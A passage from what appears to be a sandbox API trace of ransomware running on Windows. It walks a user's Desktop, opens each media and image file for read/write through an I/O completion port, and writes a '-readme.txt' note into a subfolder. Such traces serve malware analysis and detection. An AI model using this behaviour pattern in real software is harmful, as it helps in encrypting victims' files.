ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f9530, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0110.577] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.578] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36871c0) returned 1 [0110.578] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040390) returned 1 [0110.578] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3c3c220, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c3c220, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.578] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3c3c220, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c3c220, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.578] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3c220, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x3c3c220, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c3e930, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0110.578] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65d93f20, ftCreationTime.dwHighDateTime=0x1d759e8, ftLastAccessTime.dwLowDateTime=0x554a0cd0, ftLastAccessTime.dwHighDateTime=0x1d75b95, ftLastWriteTime.dwLowDateTime=0x554a0cd0, ftLastWriteTime.dwHighDateTime=0x1d75b95, nFileSizeHigh=0x0, nFileSizeLow=0x5599, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="0PUg.avi", cAlternateFileName="")) returned 1 [0110.578] PathFindExtensionW (pszPath="0pug.avi") returned=".avi" [0110.578] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x56e9) returned 0x3891208 [0110.578] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\0PUg.avi" (normalized: "c:\\users\\keecfmwgj\\desktop\\0pug.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x254 [0110.578] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x50) returned 0x208ea78 [0110.580] CreateIoCompletionPort (FileHandle=0x254, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.580] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x3891208) returned 1 [0110.580] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86262ec0, ftCreationTime.dwHighDateTime=0x1d75374, ftLastAccessTime.dwLowDateTime=0xcd05d0c0, ftLastAccessTime.dwHighDateTime=0x1d75603, ftLastWriteTime.dwLowDateTime=0xcd05d0c0, ftLastWriteTime.dwHighDateTime=0x1d75603, nFileSizeHigh=0x0, nFileSizeLow=0x5711, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="50p5Co1z6EVm.gif", cAlternateFileName="50P5CO~1.GIF")) returned 1 [0110.580] PathFindExtensionW (pszPath="50p5co1z6evm.gif") returned=".gif" [0110.580] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x5861) returned 0x3896900 [0110.580] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\50p5Co1z6EVm.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\50p5co1z6evm.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x278 [0110.580] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x60) returned 0x2086090 [0110.582] CreateIoCompletionPort (FileHandle=0x278, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.582] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x3896900) returned 1 [0110.582] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89f7800, ftCreationTime.dwHighDateTime=0x1d74dc1, ftLastAccessTime.dwLowDateTime=0xbcc0df0, ftLastAccessTime.dwHighDateTime=0x1d7511e, ftLastWriteTime.dwLowDateTime=0xbcc0df0, ftLastWriteTime.dwHighDateTime=0x1d7511e, nFileSizeHigh=0x0, nFileSizeLow=0x9fe6, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="51I4.png", cAlternateFileName="")) returned 1 [0110.582] PathFindExtensionW (pszPath="51i4.png") returned=".png" [0110.582] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xa136) returned 0x389c170 [0110.582] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\51I4.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\51i4.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x27c [0110.582] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x50) returned 0x208ead0 [0110.584] CreateIoCompletionPort (FileHandle=0x27c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.584] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x389c170) returned 1 [0110.584] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e108770, ftCreationTime.dwHighDateTime=0x1d75731, ftLastAccessTime.dwLowDateTime=0xe2f74280, ftLastAccessTime.dwHighDateTime=0x1d75b9c, ftLastWriteTime.dwLowDateTime=0xe2f74280, ftLastWriteTime.dwHighDateTime=0x1d75b9c, nFileSizeHigh=0x0, nFileSizeLow=0x5235, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="6f6hP6bBydZ1otviYKm.wav", cAlternateFileName="6F6HP6~1.WAV")) returned 1 [0110.584] PathFindExtensionW (pszPath="6f6hp6bbydz1otviykm.wav") returned=".wav" [0110.584] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x5385) returned 0x38a62b0 [0110.584] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\6f6hP6bBydZ1otviYKm.wav" (normalized: "c:\\users\\keecfmwgj\\desktop\\6f6hp6bbydz1otviykm.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x274 [0110.584] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6e) returned 0x30ee788 [0110.586] CreateIoCompletionPort (FileHandle=0x274, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.586] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x38a62b0) returned 1 [0110.586] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x203c5db0, ftCreationTime.dwHighDateTime=0x1d759c7, ftLastAccessTime.dwLowDateTime=0xfaab92f0, ftLastAccessTime.dwHighDateTime=0x1d75ca0, ftLastWriteTime.dwLowDateTime=0xfaab92f0, ftLastWriteTime.dwHighDateTime=0x1d75ca0, nFileSizeHigh=0x0, nFileSizeLow=0x17b7, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="a6YjP.m4a", cAlternateFileName="")) returned 1 [0110.586] PathFindExtensionW (pszPath="a6yjp.m4a") returned=".m4a" [0110.586] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1907) returned 0x38ab640 [0110.586] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\a6YjP.m4a" (normalized: "c:\\users\\keecfmwgj\\desktop\\a6yjp.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x26c [0110.586] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x52) returned 0x2069840 [0110.589] CreateIoCompletionPort (FileHandle=0x26c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.589] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x38ab640) returned 1 [0110.589] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x259cefb0, ftCreationTime.dwHighDateTime=0x1d7591b, ftLastAccessTime.dwLowDateTime=0xbe05fb70, ftLastAccessTime.dwHighDateTime=0x1d75baa, ftLastWriteTime.dwLowDateTime=0xbe05fb70, ftLastWriteTime.dwHighDateTime=0x1d75baa, nFileSizeHigh=0x0, nFileSizeLow=0x9c48, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="aB_q.m4a", cAlternateFileName="")) returned 1 [0110.589] PathFindExtensionW (pszPath="ab_q.m4a") returned=".m4a" [0110.590] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x9d98) returned 0x38acf50 [0110.591] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aB_q.m4a" (normalized: "c:\\users\\keecfmwgj\\desktop\\ab_q.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x270 [0110.591] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x50) returned 0x208eb28 [0110.592] CreateIoCompletionPort (FileHandle=0x270, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.592] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x38acf50) returned 1 [0110.592] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0aa67b0, ftCreationTime.dwHighDateTime=0x1d7542e, ftLastAccessTime.dwLowDateTime=0x9ce6f700, ftLastAccessTime.dwHighDateTime=0x1d75c45, ftLastWriteTime.dwLowDateTime=0x9ce6f700, ftLastWriteTime.dwHighDateTime=0x1d75c45, nFileSizeHigh=0x0, nFileSizeLow=0x16dd5, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="AHmQ qy.mp3", cAlternateFileName="AHMQQY~1.MP3")) returned 1 [0110.592] PathFindExtensionW (pszPath="ahmq qy.mp3") returned=".mp3" [0110.592] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x16f25) returned 0x38b6cf0 [0110.593] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\AHmQ qy.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\ahmq qy.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x268 [0110.593] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x56) returned 0x20698a0 [0110.595] CreateIoCompletionPort (FileHandle=0x268, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.595] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x38b6cf0) returned 1 [0110.595] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd031bd20, ftCreationTime.dwHighDateTime=0x1d75844, ftLastAccessTime.dwLowDateTime=0xaca9f540, ftLastAccessTime.dwHighDateTime=0x1d75b80, ftLastWriteTime.dwLowDateTime=0xaca9f540, ftLastWriteTime.dwHighDateTime=0x1d75b80, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="aJV56WBKgKcY0uVz", cAlternateFileName="AJV56W~1")) returned 1 [0110.595] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040390 [0110.595] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x62) returned 0x20680b0 [0110.595] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x88) returned 0x30a9870 [0110.595] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x260 [0110.596] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a9870) returned 1 [0110.596] WriteFile (in: hFile=0x260, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.597] CloseHandle (hObject=0x260) returned 1 [0110.597] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1aea460, ftCreationTime.dwHighDateTime=0x1d756b7, ftLastAccessTime.dwLowDateTime=0x96090210, ftLastAccessTime.dwHighDateTime=0x1d75aa7, ftLastWriteTime.dwLowDateTime=0x96090210, ftLastWriteTime.dwHighDateTime=0x1d75aa7, nFileSizeHigh=0x0, nFileSizeLow=0x13c67, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="aUK1ww_cNSEBhOhvD.m4a", cAlternateFileName="AUK1WW~1.M4A")) returned 1 [0110.597] PathFindExtensionW (pszPath="auk1ww_cnsebhohvd.m4a") returned=".m4a" [0110.597] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x13db7) returned 0x38cdc20 [0110.598] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aUK1ww_cNSEBhOhvD.m4a" (normalized: "c:\\users\\keecfmwgj\\desktop\\auk1ww_cnsebhohvd.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x260 [0110.598] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6a) returned 0x30ee350 [0110.603] CreateIoCompletionPort (FileHandle=0x260, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.603] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x38cdc20) returned 1 [0110.603] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x345fb190, ftCreationTime.dwHighDateTime=0x1d756cd, ftLastAccessTime.dwLowDateTime=0x234a0110, ftLastAccessTime.dwHighDateTime=0x1d75d23, ftLastWriteTime.dwLowDateTime=0x234a0110, ftLastWriteTime.dwHighDateTime=0x1d75d23, nFileSizeHigh=0x0, nFileSizeLow=0x113d2, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="BbBC VRWj6z_JPv.gif", cAlternateFileName="BBBCVR~1.GIF")) returned 1 [0110.603] PathFindExtensionW (pszPath="bbbc vrwj6z_jpv.gif") returned=".gif" [0110.603] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x11522) returned 0x38e19e0 [0110.604] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\BbBC VRWj6z_JPv.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\bbbc vrwj6z_jpv.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x264 [0110.604] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x66) returned 0x2068120 [0110.606] CreateIoCompletionPort (FileHandle=0x264, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.606] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x38e19e0) returned 1 [0110.606] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x631ecf50, ftCreationTime.dwHighDateTime=0x1d759c2, ftLastAccessTime.dwLowDateTime=0xf7374390, ftLastAccessTime.dwHighDateTime=0x1d75aba, ftLastWriteTime.dwLowDateTime=0xf7374390, ftLastWriteTime.dwHighDateTime=0x1d75aba, nFileSizeHigh=0x0, nFileSizeLow=0x6e01, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="bs2mYfOv.flv", cAlternateFileName="")) returned 1 [0110.606] PathFindExtensionW (pszPath="bs2myfov.flv") returned=".flv" [0110.606] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x6f51) returned 0x38f2f10 [0110.606] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\bs2mYfOv.flv" (normalized: "c:\\users\\keecfmwgj\\desktop\\bs2myfov.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x25c [0110.606] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x58) returned 0x2069900 [0110.608] CreateIoCompletionPort (FileHandle=0x25c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.608] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x38f2f10) returned 1 [0110.608] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f4710, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.608] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa30a2940, ftCreationTime.dwHighDateTime=0x1d75173, ftLastAccessTime.dwLowDateTime=0xe0e1d4b0, ftLastAccessTime.dwHighDateTime=0x1d75a57, ftLastWriteTime.dwLowDateTime=0xe0e1d4b0, ftLastWriteTime.dwHighDateTime=0x1d75a57, nFileSizeHigh=0x0, nFileSizeLow=0x7ad9, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="GfJmj4jFVi.png", cAlternateFileName="GFJMJ4~1.PNG")) returned 1 [0110.608] PathFindExtensionW (pszPath="gfjmj4jfvi.png") returned=".png" [0110.608] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x7c29) returned 0x38f9e70 [0110.608] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\GfJmj4jFVi.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\gfjmj4jfvi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x258 [0110.609] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5c) returned 0x20860f8 [0110.610] CreateIoCompletionPort (FileHandle=0x258, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.610] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x38f9e70) returned 1 [0110.610] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe4ce30, ftCreationTime.dwHighDateTime=0x1d74f16, ftLastAccessTime.dwLowDateTime=0xab870ba0, ftLastAccessTime.dwHighDateTime=0x1d758b8, ftLastWriteTime.dwLowDateTime=0xab870ba0, ftLastWriteTime.dwHighDateTime=0x1d758b8, nFileSizeHigh=0x0, nFileSizeLow=0x6615, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="go3CAcQwWoE5uapCI.mkv", cAlternateFileName="GO3CAC~1.MKV")) returned 1 [0110.610] PathFindExtensionW (pszPath="go3cacqwwoe5uapci.mkv") returned=".mkv" [0110.610] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x6765) returned 0x3901aa8 [0110.611] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\go3CAcQwWoE5uapCI.mkv" (normalized: "c:\\users\\keecfmwgj\\desktop\\go3cacqwwoe5uapci.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x280 [0110.611] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6a) returned 0x30ee3c8 [0110.613] CreateIoCompletionPort (FileHandle=0x280, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.613] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x3901aa8) returned 1 [0110.613] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b25d680, ftCreationTime.dwHighDateTime=0x1d751cd, ftLastAccessTime.dwLowDateTime=0xfa53a650, ftLastAccessTime.dwHighDateTime=0x1d75adc, ftLastWriteTime.dwLowDateTime=0xfa53a650, ftLastWriteTime.dwHighDateTime=0x1d75adc, nFileSizeHigh=0x0, nFileSizeLow=0xa2ff, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="kMECVXsOvLSDJDAOA.ots", cAlternateFileName="KMECVX~1.OTS")) returned 1 [0110.613] PathFindExtensionW (pszPath="kmecvxsovlsdjdaoa.ots") returned=".ots" [0110.613] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xa44f) returned 0x3908218 [0110.614] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\kMECVXsOvLSDJDAOA.ots" (normalized: "c:\\users\\keecfmwgj\\desktop\\kmecvxsovlsdjdaoa.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x288 [0110.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6a) returned 0x30ee260 [0110.616] CreateIoCompletionPort (FileHandle=0x288, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.616] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x3908218) returned 1 [0110.616] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec16dc30, ftCreationTime.dwHighDateTime=0x1d74da6, ftLastAccessTime.dwLowDateTime=0xf574d7e0, ftLastAccessTime.dwHighDateTime=0x1d7509a, ftLastWriteTime.dwLowDateTime=0xf574d7e0, ftLastWriteTime.dwHighDateTime=0x1d7509a, nFileSizeHigh=0x0, nFileSizeLow=0xd235, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="lNyfrw9KFObcc0Vbb.bmp", cAlternateFileName="LNYFRW~1.BMP")) returned 1 [0110.616] PathFindExtensionW (pszPath="lnyfrw9kfobcc0vbb.bmp") returned=".bmp" [0110.616] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xd385) returned 0x3912670 [0110.617] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\lNyfrw9KFObcc0Vbb.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\lnyfrw9kfobcc0vbb.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x290 [0110.617] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6a) returned 0x30ee1e8 [0110.618] CreateIoCompletionPort (FileHandle=0x290, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.618] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x3912670) returned 1 [0110.618] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe129f080, ftCreationTime.dwHighDateTime=0x1d75320, ftLastAccessTime.dwLowDateTime=0x2278520, ftLastAccessTime.dwHighDateTime=0x1d75927, ftLastWriteTime.dwLowDateTime=0x2278520, ftLastWriteTime.dwHighDateTime=0x1d75927, nFileSizeHigh=0x0, nFileSizeLow=0x126cc, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="OiotT.jpg", cAlternateFileName="")) returned 1 [0110.619] PathFindExtensionW (pszPath="oiott.jpg") returned=".jpg" [0110.619] RtlAllocateHeap 